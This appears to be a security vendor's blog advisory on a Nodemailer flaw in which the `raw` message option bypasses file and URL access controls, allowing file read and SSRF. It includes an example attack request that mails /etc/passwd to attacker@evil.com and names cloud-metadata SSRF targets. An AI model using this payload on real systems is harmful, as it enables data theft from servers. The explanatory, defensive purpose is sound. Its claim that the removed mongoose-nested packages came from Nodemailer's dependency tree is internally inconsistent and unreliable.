Back to Blog
high SEVERITY8 min read

How Message-Level Raw Option Bypass happens in Node.js Nodemailer and how to fix it

A high-severity vulnerability in Nodemailer (versions before 9.0.0) allowed the `raw` message option to completely bypass `disableFileAccess` and `disableUrlAccess` security controls, enabling attackers to read arbitrary files from the server filesystem and perform full-response Server-Side Request Forgery (SSRF) in delivered email messages. Upgrading from `^8.0.10` to `^9.0.4` in `backend/package-lock.json` closes this exploit primitive by enforcing access restrictions consistently across all m

O
By Orbis AppSec
Published August 6, 2026Reviewed August 6, 2026

Answer Summary

The Nodemailer SSRF and arbitrary file read vulnerability (GHSA-p6gq-j5cr-w38f, high severity) is a security control bypass in Node.js applications using Nodemailer versions below 9.0.0. The root cause is that the `raw` message option skips the enforcement of `disableFileAccess` and `disableUrlAccess` flags, allowing untrusted input to embed local file paths or internal URLs that are fetched and included in the delivered message. This maps to CWE-441 (Unintended Proxy/Intermediary) and CWE-73 (External Control of File Name or Path). The fix is to upgrade Nodemailer to version 9.0.1 or later, which enforces access controls uniformly across all message composition paths including the `raw` option.

Vulnerability at a Glance

cweCWE-441 (Unintended Proxy/Intermediary), CWE-73 (External Control of File Name or Path)
fixUpgrade nodemailer from ^8.0.10 to ^9.0.4 in backend/package-lock.json and backend/package.json
riskArbitrary server-side file read and full-response SSRF delivered through email message content
languageJavaScript / Node.js
root causeNodemailer's `raw` message option bypasses `disableFileAccess`/`disableUrlAccess` enforcement
vulnerabilitySecurity Control Bypass via Raw Message Option (SSRF + Arbitrary File Read)

How Message-Level Raw Option Bypass Happens in Node.js Nodemailer and How to Fix It

Introduction

The backend/package-lock.json file in this application pins Nodemailer — the most widely used email-sending library in the Node.js ecosystem — to ^8.0.10. On the surface, that version looks reasonable: it is recent, well-maintained, and widely deployed. But beneath that surface, Nodemailer 8.x carries a subtle and dangerous flaw: its raw message option completely ignores the disableFileAccess and disableUrlAccess security flags that developers rely on to prevent the mailer from fetching untrusted files and URLs.

That gap means an attacker who can influence the content of the raw option — through a template injection, a misconfigured API endpoint, or any other input path — can read arbitrary files off the server's filesystem or make the backend issue HTTP requests to internal infrastructure, with the full response embedded in the delivered email. This is not a theoretical edge case: it is a concrete, chainable exploit primitive that Trivy's scanner flagged as GHSA-p6gq-j5cr-w38f with a HIGH severity rating.


The Vulnerability Explained

What disableFileAccess and disableUrlAccess Are Supposed to Do

Nodemailer supports rich email composition. You can attach local files, embed remote images, and even pass a fully pre-built MIME message via the raw option. To prevent abuse of these features in multi-tenant or user-facing contexts, Nodemailer exposes two protective flags:

const transporter = nodemailer.createTransport(config, {
  disableFileAccess: true,  // block attachment of local files
  disableUrlAccess: true,   // block fetching of remote URLs
});

When these are set, Nodemailer is supposed to refuse to read local paths or fetch remote resources during message composition. This is the intended trust boundary.

The Bypass: The raw Option

The raw message option lets callers pass a pre-formatted MIME string directly to the transport layer, bypassing Nodemailer's normal message builder:

transporter.sendMail({
  raw: userControlledMimeString,  // <-- the dangerous path
});

In Nodemailer 8.x, the code path that handles raw messages does not run the same access-control checks applied to normal message fields like attachments or html. This means that even with disableFileAccess: true and disableUrlAccess: true set on the transporter, a raw payload can still:

  1. Reference local file paths (e.g., Content-Type: message/external-body; access-type=local-file; name="/etc/passwd") — causing Nodemailer to read and embed the file contents in the outbound message.
  2. Reference internal HTTP endpoints (e.g., embedding a URL pointing to http://169.254.169.254/latest/meta-data/) — causing Nodemailer to fetch the URL and include the full response body in the email.

A Concrete Attack Scenario for This Application

Consider a backend API endpoint that accepts user-provided email templates and uses Nodemailer to send them. A developer wrote:

// backend/services/mailer.js (illustrative)
const transporter = nodemailer.createTransport(smtpConfig, {
  disableFileAccess: true,
  disableUrlAccess: true,
});

app.post('/api/send-notification', async (req, res) => {
  await transporter.sendMail({
    from: 'noreply@app.com',
    to: req.body.recipient,
    raw: req.body.rawMime,  // user-controlled — bypasses all access controls in v8
  });
});

With Nodemailer 8.x, an attacker posts:

POST /api/send-notification
{
  "recipient": "attacker@evil.com",
  "rawMime": "From: noreply@app.com\r\nTo: attacker@evil.com\r\nSubject: Test\r\nContent-Type: message/external-body; access-type=local-file; name=\"/etc/passwd\"\r\n\r\n"
}

The transporter reads /etc/passwd and delivers its contents to attacker@evil.com. The disableFileAccess: true flag does nothing because the raw path never checks it.

The same technique works for SSRF: reference http://internal-service:8080/admin/config and receive the full JSON response in the delivered email.

Real-World Impact

For this backend application, the impact is severe:
- Credential theft: Environment files, private keys, and configuration files reachable from the Node.js process can be exfiltrated.
- Internal network reconnaissance: Internal microservices, cloud metadata endpoints (AWS IMDSv1, GCP metadata), and database admin UIs become reachable.
- Trust-boundary collapse: The entire purpose of disableFileAccess/disableUrlAccess is nullified, meaning any code that relies on those flags for security is silently unprotected.


The Fix

What Changed in backend/package-lock.json and backend/package.json

The fix is a targeted version bump of the nodemailer dependency:

# backend/package-lock.json (top-level dependencies section)
-        "nodemailer": "^8.0.10",
+        "nodemailer": "^9.0.4",

This single line change upgrades the resolved version from the 8.x series to 9.x, where the raw message path was patched to enforce disableFileAccess and disableUrlAccess consistently.

The diff also removes a set of now-unnecessary transitive dependencies that were pulled in by Nodemailer 8.x's dependency tree — notably agent-base@6.0.2, gaxios@5.1.3, and gcp-metadata@5.3.0 under node_modules/mongoose/node_modules/. These removals reflect a cleaner, leaner dependency graph in Nodemailer 9.x and reduce the overall attack surface by eliminating packages that are no longer needed.

-    "node_modules/mongoose/node_modules/agent-base": {
-      "version": "6.0.2",
-      ...
-    },
-    "node_modules/mongoose/node_modules/gaxios": {
-      "version": "5.1.3",
-      ...
-    },
-    "node_modules/mongoose/node_modules/gcp-metadata": {
-      "version": "5.3.0",
-      ...
-    },

Removing these stale nested modules is a meaningful security improvement beyond the Nodemailer fix itself — each removed package is one fewer dependency to audit, patch, or exploit.

Why Nodemailer 9.x Fixes the Problem

In Nodemailer 9.0.0+, the internal message composition pipeline was refactored to apply access-control checks at the transport layer rather than only within the message-builder layer. This means that regardless of whether a message arrives via normal field composition or via the raw option, the disableFileAccess and disableUrlAccess flags are enforced before any file I/O or HTTP fetch is attempted.

The trust boundary that developers intended to establish with those flags now actually holds.


Key Takeaways

  • disableFileAccess and disableUrlAccess in Nodemailer 8.x are not reliable security controls — the raw option silently bypasses them, making any code that depends on those flags for security silently vulnerable.
  • The raw message option is a privileged code path that should never accept user-controlled input without strict validation, even in patched versions.
  • Upgrading nodemailer from ^8.0.10 to ^9.0.4 in backend/package-lock.json closes the bypass by enforcing access controls at the transport layer, not just the message-builder layer.
  • Removing stale transitive dependencies (agent-base@6.0.2, gaxios@5.1.3, gcp-metadata@5.3.0) as part of the upgrade reduces the overall attack surface of the backend.
  • Trivy's advisory GHSA-p6gq-j5cr-w38f is a reliable signal: when a dependency scanner flags a HIGH-severity advisory in package-lock.json, treat it as a blocking issue, not a backlog item.

How Orbis AppSec Detected This

  • Source: User-controlled or externally-influenced data entering the raw field of a sendMail() call in the backend's email service layer.
  • Sink: Nodemailer's internal MIME composition pipeline in node_modules/nodemailer (version ^8.0.10 as pinned in backend/package-lock.json), specifically the raw message handler that performs file I/O and HTTP fetches without checking disableFileAccess/disableUrlAccess.
  • Missing control: The raw code path in Nodemailer 8.x does not invoke the same access-restriction checks applied to normal message fields, meaning the disableFileAccess and disableUrlAccess transporter options have no effect when raw is used.
  • CWE: CWE-441 (Unintended Proxy/Intermediary) for SSRF; CWE-73 (External Control of File Name or Path) for arbitrary file read.
  • Fix: Bumped nodemailer from ^8.0.10 to ^9.0.4 in backend/package-lock.json and backend/package.json, resolving GHSA-p6gq-j5cr-w38f and restoring the intended enforcement of file and URL access controls.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The Nodemailer raw option bypass (GHSA-p6gq-j5cr-w38f) is a reminder that security controls are only as strong as their consistent enforcement. Developers who set disableFileAccess: true and disableUrlAccess: true on their Nodemailer transporters reasonably expected those flags to protect them — but in the 8.x series, a single alternative code path rendered both controls meaningless.

The fix is straightforward: upgrade to nodemailer ^9.0.4. But the broader lesson is architectural. Security controls that can be bypassed by choosing a different API surface are not controls at all — they are false confidence. When you add a restriction to a library, verify that it applies uniformly across every code path, not just the happy path.

Keep your dependency scanners running, treat HIGH-severity advisories as blocking, and never pass user-controlled data into privileged options like raw without explicit validation.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1248

Related Articles

high

package_abridge.js Command Injection via Unsanitized CLI Arguments

A high-severity command injection vulnerability in a build script allowed attackers who control CLI arguments to execute arbitrary shell commands by injecting metacharacters into an unvalidated parameter. The fix validates incoming CLI arguments and rejects those containing dangerous shell metacharacters before they reach command execution.

high

fs.readFileSync(process.argv[2]) Path Traversal in Zola Build

A build-time helper that extracts the expected SHA-256 for a downloaded Zola release passed `process.argv[2]` straight into `fs.readFileSync()` with no directory constraint, so any caller able to influence that argument could make the integrity check read an arbitrary file. The fix resolves the requested path and requires it to be a direct child of the tools directory, which is now passed in as an extra argument, and exits with an error otherwise. Because the bytes read become the "expected" che

high

ip-address 10.2.0 SSRF: Inconsistent Parsing Bypasses IP Checks

The `ip-address` npm package version 10.2.0 contains an inconsistent parsing vulnerability that allows attackers to bypass IP-based access controls. By representing IPv4 addresses in IPv4-mapped IPv6 notation, attackers can trick applications into allowing requests to blocked internal addresses. Upgrading to 10.3.1 resolves this through stricter address normalization.

high

TrackOptionsManager DDL: Template-Literal SQL Injection Closed

The `TrackOptionsManager` service built its `CREATE TABLE` and `ALTER TABLE ... ADD COLUMN alias` statements by interpolating a `DEFAULT_ALIAS` constant directly inside single quotes in a JavaScript template literal, and its private `_query()` helper had no parameter channel at all. The fix routes the default value through `mysql.escape()` and gives `_query(q, params = [])` a real bound-parameter argument that is forwarded to `db.query()`. This removes an injection primitive on a schema-bootstra

critical

eval() in Async Function Constructor Enables Runtime Escape

The eval.mjs command handler used raw `eval()` to execute JavaScript expressions, creating a critical code injection path if owner credentials are compromised. The fix replaces `eval()` with the `AsyncFunction` constructor and explicitly shadows `process`, `require`, and other runtime globals as parameters, preventing evaluated code from reaching the Node.js runtime even when authentication boundaries fail.

high

How SQL injection via template literals happens in Node.js SQLite and how to fix it

A SQL injection vulnerability in `src/lib/codex-state.mjs` allowed dynamic column names to reach SQL queries through JavaScript template literals. The fix implements defense-in-depth with strict identifier validation using `SAFE_IDENTIFIER` regex before query construction.